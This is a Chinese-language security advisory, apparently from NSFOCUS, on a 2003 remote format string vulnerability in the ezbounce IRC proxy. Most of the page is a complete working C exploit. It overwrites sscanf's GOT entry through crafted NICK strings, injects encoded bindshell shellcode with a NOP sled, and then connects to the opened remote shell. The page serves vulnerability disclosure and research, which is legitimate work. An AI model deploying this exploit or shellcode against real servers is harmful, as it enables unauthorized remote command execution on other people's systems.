安全研究

安全漏洞
ezbounce远程格式串处理漏洞

发布日期:2003-07-01
更新日期:2003-07-08

受影响系统:
ezbounce ezbounce 1.5 pre6
ezbounce ezbounce 1.0.4 a
描述:
BUGTRAQ  ID: 8071

ezbounce是一款IRC代理服务器。

ezbounce存在格式串处理问题,远程攻击者可以利用这个漏洞提交恶意格式串,可能以ezbounce进程权限在系统上执行任意指令。

问题存在于"ezbounce/commands.cpp"文件中,当程序支持会话功能开启时,攻击者提交包含恶意字符串的"sessions"命令,可导致破坏进程内存中的敏感信息,精心构建提交数据可能以ezbounce进程权限在系统上执行任意指令。

<*来源:Vade 79 (v9@fakehalo.deadpig.org
  
  链接:http://www.idefense.com/advisory/07.01.03.txt
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Vade 79 (v9@fakehalo.deadpig.org)提供了如下测试代码:

/*[ ezbounce[v1.0+beyond]: remote format string exploit. ]*
* (effects current: v1.04a(stable) --- v1.50-pre6(beta)) *
*                                                        *
* by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)       *
*                                                        *
* ezbounce homepage/URL:                                 *
*  http://druglord.freelsd.org/ezbounce/                 *
*                                                        *
* requirements to exploit:                               *
* - valid user/password: any access level.               *
* - the user's settings contains "enable-detach-command" *
*   (should be expected, a main feature of ezbounce)     *
* - ability to connect to anything.  but, does not       *
*   disconnect after sending initial irc(USER/NICK)      *
*   information.  this cannot be localhost:bnc_port,     *
*   it will recognize/abort it.  by default uses         *
*   "localhost:25".  if no smtpd is running locally,     *
*   change at will.                                      *
*                                                        *
* compile(when using debug, run with 1>file redirect):   *
*  cc xezb.c -o xezb                                     *
*  cc xezb.c -o xezb -DDEBUG                             *
*                                                        *
* the bug itself(from ezbounce/commands.cpp):            *
*  1163:CMDFUNC(sessions)                                *
*  ...                                                   *
*  1196:char buff[200], timebuff[15];                    *
*  ...                                                   *
*  1204:sprintf(buff,"%-3d %-20s %-20s %s\n", ++idx,     *
*       c->uinfo.irc->nick, c->uinfo.server, timebuff);  *
*  1205:cprintf(buff);                                   *
*                                                        *
* cprintf() performs like printf() typically does, don't *
* really know why that was printed to a buffer at all,   *
* considering cprintf() supports formats.  users can     *
* control the c->uinfo.irc->nick buffer without taint    *
* checks for anything(%/$), c->uinfo.server can be       *
* controlled as well.  but, has it to be a real host.    *
* "%-number" doesn't limit anything.  but, the limit for *
* the nickname is set as 32 elsewhere.  this is still is *
* too tight.  so, i am going to write the address in two *
* detachments.  this means i can't use .dtors or it will *
* fail with only writing two of the four bytes.  so, i   *
* am using sscanf()'s GOT, as it is not used in the      *
* process of writing the address, but is used in other   *
* functions.                                             *
*                                                        *
* as a side note: this could be exploited as a typical   *
* buffer overflow as well.  but, limited in more ways.   *
* since c->uinfo.server is also user controlled, but has *
* to be a legit(able to lookup/idle), you can use a long *
* string of zeros(ie. "CONN 000000000...") which becomes *
* 0/localhost to overflow the buffer.  the problem then  *
* becoming you can only change the address to 0x30's,    *
* which would require partial address changes(ie.        *
* 0xbfff0030).  this would be different if               *
* c->uinfo.irc->nick came after c->uinfo.server in the   *
* sprintf call.  in that case you could use the server   *
* as a filler of sorts, then the address(es) to change   *
* inside the nickname.  but, can't win everything.       *
*                                                        *
* best way of exploiting the bug:                        *
*  USER x                                                *
*  NICK <sscanf GOT addr/2+2>%.0d$hn                     *
*  PASS <user>:<pass>                                    *
*  CONN <open host>:<open port, besides bnc port>        *
*  EZB detach                                            *
* (server will disconnect, then reconnect)               *
*  USER x                                                *
*  NICK <sscanf GOT addr/2>%.0d$hn                       *
*  PASS <user>:<pass>                                    *
*  CONN <open host>:<open port, besides bnc port>        *
*  EZB detach                                            *
* (server will disconnect, then reconnect)               *
*  USER x                                                *
*  NICK x                                                *
*  PASS <same user>:<same pass>                          *
*  ECHO <shellcode> (gets placed on top of __mbuffer[])  *
*  LOG FIND (uses sscanf())                              *
* (when sessions/(automatic on connect) gets called it   *
* will change the address in two different cprintf()     *
* calls.  so, i don't want to change the .dtors or it    *
* will only write two bytes.  i am using the sscanf()    *
* GOT, as it isn't used in the process.  but, "LOG FIND" *
* uses it)                                               *
**********************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* distance to user supplied data.  shouldn't be    */
/* too far from 12, if not 12.  i didn't add an     */
/* automated finder for this exploit. :(            */
#define POPS 12
/* gdb /path/to/ezbounce                            */
/* ...                                              */
/* (gdb) x/i sscanf                                 */
/* 0x8049734 <sscanf>:     jmp    *0x80637b0        */
/* (use the number after jmp)                       */
#define SSCANF_GOT_ADDR 0x80637b0
/* ./objdump -x /path/to/ezbounce | grep __mbuffer. */
/* ...                                              */
/* 080646e0 g     O .bss   00000400       __mbuffer */
/* 1000(buffer strlen)-226(shellcode strlen)=~750.  */
/* it is still possible to have data on top of      */
/* __mbuffer[], ahead of the user data, mainly log  */
/* relays.  with ~750 bytes of nops it shouldn't    */
/* be a problem.                                    */
#define RET_ADDR (0x080646e0+750)
/* has to connect to something that doesn't         */
/* disconnect. (this cannot be the same as the      */
/* bounce port)                                     */
#define CONNECT_TO "localhost:25"
#define CODESIZE 1000 /* nops+shellcode buffer.     */
#define FMTSIZE 32 /* max format string size.       */
#define TIMEOUT 15 /* connection timeout.           */
/* taken from another exploit, works perfect for this.       */
static char x86_exec[]= /* bindshell(45295)&, netric/S-poly. */
"\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49"
"\x41\x49\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0"
"\x06\x9e\x26\x86\xdb\x26\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88"
"\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95\x06\xb0\x25\x25\x25\x3b"
"\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28\x88\xd7\x27"
"\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"
"\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b"
"\xa2\x55\x5e\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85"
"\x05\xa2\x55\x06\x95\x06\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85"
"\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0\x85\xd7\xa2\x55\x0e\x98"
"\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95\x06\x9e\x5e"
"\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"
"\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37"
"\x3e\x43\x5e\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2"
"\x55\x06\x95\x15\xa2\x55\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0"
"\x6e";
char *getfmt(unsigned short);
char *getcode(void);
char *eberror(short);
short ebconnect(char *hostname,unsigned short port,
char *,char *,signed short);
void getshell(char *,unsigned short);
void printe(char *,short);
void sig_alarm(){printe("alarm/timeout hit",1);}
int main(int argc,char **argv){
short r=0;
/* banner fun. */
fprintf(stderr,
"[*] ezbounce[v1.0+]: remote format string exploit.\n[*] by:"
" vade79/v9 v9@fakehalo.deadpig.org (fakehalo)\n\n");
if(argc<5){
  fprintf(stderr,"[!] syntax: %s <hostname> <port> <user> <pa"
  "ss>\n",argv[0]);
  exit(1);
}
signal(SIGPIPE,SIG_IGN);
/* ugly brute force. */
/* change sscanf()'s GOT: 0xFFFF0000. */
fprintf(stderr,"[*] sending format string(0xFFFF0000): ");
r=ebconnect(argv[1],atoi(argv[2]),argv[3],argv[4],0);
fprintf(stderr,"%s.\n",eberror(r));
/* change sscanf()'s GOT: 0x0000FFFF. */
fprintf(stderr,"[*] sending format string(0x0000FFFF): ");
r=ebconnect(argv[1],atoi(argv[2]),argv[3],argv[4],1);
fprintf(stderr,"%s.\n",eberror(r));
/* ECHO <shellcode>, and run LOG FIND(uses sscanf()). */
fprintf(stderr,"[*] sending shellcode, and enabling: ");
r=ebconnect(argv[1],atoi(argv[2]),argv[3],argv[4],2);
fprintf(stderr,"%s.\n",eberror(r));
getshell(argv[1],45295); /* defined in shellcode. */
fprintf(stderr,"[!] exploit failed.\n");
exit(0);
}
char *getfmt(unsigned short type){
unsigned int addr1,addr2;
unsigned int pops=POPS;
unsigned long sscanfgot=SSCANF_GOT_ADDR;
unsigned long addr=RET_ADDR;
char *buf;
char taddr[3];
taddr[0]=(sscanfgot&0xff000000)>>24;
taddr[1]=(sscanfgot&0x00ff0000)>>16;
taddr[2]=(sscanfgot&0x0000ff00)>>8;
taddr[3]=(sscanfgot&0x000000ff);
addr1=(addr&0xffff0000)>>16;
addr2=(addr&0x0000ffff);
if(!(buf=(char *)malloc(FMTSIZE+1)))
  printe("getfmt(): allocating memory failed",1);
memset(buf,0x0,(FMTSIZE+1));
if(!type)
  sprintf(buf,
  "%c%c%c%c"
  "%%.%dd%%%d$hn",
  taddr[3]+2,taddr[2],taddr[1],taddr[0],
  (addr1-9),pops); /* 4=addr + 5=pre bytes(could be 4). */
else if(type==1)
  sprintf(buf,
  "%c%c%c%c"
  "%%.%dd%%%d$hn",
  taddr[3],taddr[2],taddr[1],taddr[0],
  (addr2-9),pops); /* 4=addr + 5=pre bytes(could be 4). */
else if(type>1)
  sprintf(buf,"x");
return(buf);
}
char *getcode(void){
char *buf;
if(!(buf=(char *)malloc(CODESIZE+1)))
  printe("getcode(): allocating memory failed",1);
memset(buf,0x90,(CODESIZE-strlen(x86_exec)));
memcpy(buf+(CODESIZE-strlen(x86_exec)),x86_exec,
strlen(x86_exec));
return(buf);
}
char *eberror(short err){
return(err?"failed":"success");
}
short ebconnect(char *hostname,unsigned short port,
char *user,char *pass,signed short type){
int sock;
struct hostent *t;
struct sockaddr_in s;
/* see what actually happens, for testing. */
#ifdef DEBUG
sock=1; /* stdout. */
#else
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
s.sin_family=AF_INET;
s.sin_port=htons(port);
if((s.sin_addr.s_addr=inet_addr(hostname))){
  if(!(t=gethostbyname(hostname)))
   return(1);
  memcpy((char*)&s.sin_addr,(char*)t->h_addr,
  sizeof(s.sin_addr));
}
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
  return(1);
alarm(0);
#endif
dprintf(sock,"USER x\n");
usleep(250000);
dprintf(sock,"NICK %s\n",(type==2?"x":getfmt(type)));
usleep(250000);
dprintf(sock,"PASS %s:%s\n",user,pass);
usleep(250000);
/* 2 = don't change any address, just enable. */
if(type==2){
  /* puts the shellcode into memory. (on */
  /* top of the dynamic __mbuffer[]) */
  dprintf(sock,"ECHO %s\n",getcode());
  usleep(250000);
  /* "LOG FIND" uses sscanf(), GOT that got changed.  */
  /* (don't need any user options to run the command) */
  dprintf(sock,"LOG FIND\n");
}
/* !2 = change address. */
else{
  /* have to connect to something to detach. */
  /* can't be the same port as the bnc.      */
  dprintf(sock,"CONN "CONNECT_TO"\n");
  sleep(1);
  dprintf(sock,"EZB detach\n");
}
sleep(1);
/* if stdout, don't close. */
#ifndef DEBUG
close(sock);
#endif
return(0);
}
/* same thing i use for every remote exploit. :) */
void getshell(char *hostname,unsigned short port){
int sock,r;
fd_set fds;
char buf[4096+1];
struct hostent *he;
struct sockaddr_in sa;
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
  printe("getshell(): socket() failed",0);
  return;
}
sa.sin_family=AF_INET;
if((sa.sin_addr.s_addr=inet_addr(hostname))){
  if(!(he=gethostbyname(hostname))){
   printe("getshell(): couldn't resolve",0);
   return;
  }
  memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
  sizeof(sa.sin_addr));
}
sa.sin_port=htons(port);
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
printf("[*] attempting to connect: %s:%d.\n",
hostname,port);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
  printf("[!] connection failed: %s:%d.\n",
  hostname,port);
  return;
}
alarm(0);
printf("[*] successfully connected: %s:%d.\n\n",
hostname,port);
signal(SIGINT,SIG_IGN);
write(sock,"uname -a;id\n",13);
while(1){
  FD_ZERO(&fds);
  FD_SET(0,&fds);
  FD_SET(sock,&fds);
  if(select(sock+1,&fds,0,0,0)<1){
   printe("getshell(): select() failed",0);
   return;
  }
  if(FD_ISSET(0,&fds)){
   if((r=read(0,buf,4096))<1){
    printe("getshell(): read() failed",0);
    return;
   }
   if(write(sock,buf,r)!=r){
    printe("getshell(): write() failed",0);
    return;
   }
  }
  if(FD_ISSET(sock,&fds)){
   if((r=read(sock,buf,4096))<1)
    exit(0);
   write(1,buf,r);
  }
}
close(sock);
return;
}
void printe(char *err,short e){
fprintf(stderr,"(error: %s)\n\n",err);
if(e)
  exit(1);
return;
}

建议:
厂商补丁:

ezbounce
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://druglord.freelsd.org/ezbounce/

浏览次数:2938
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障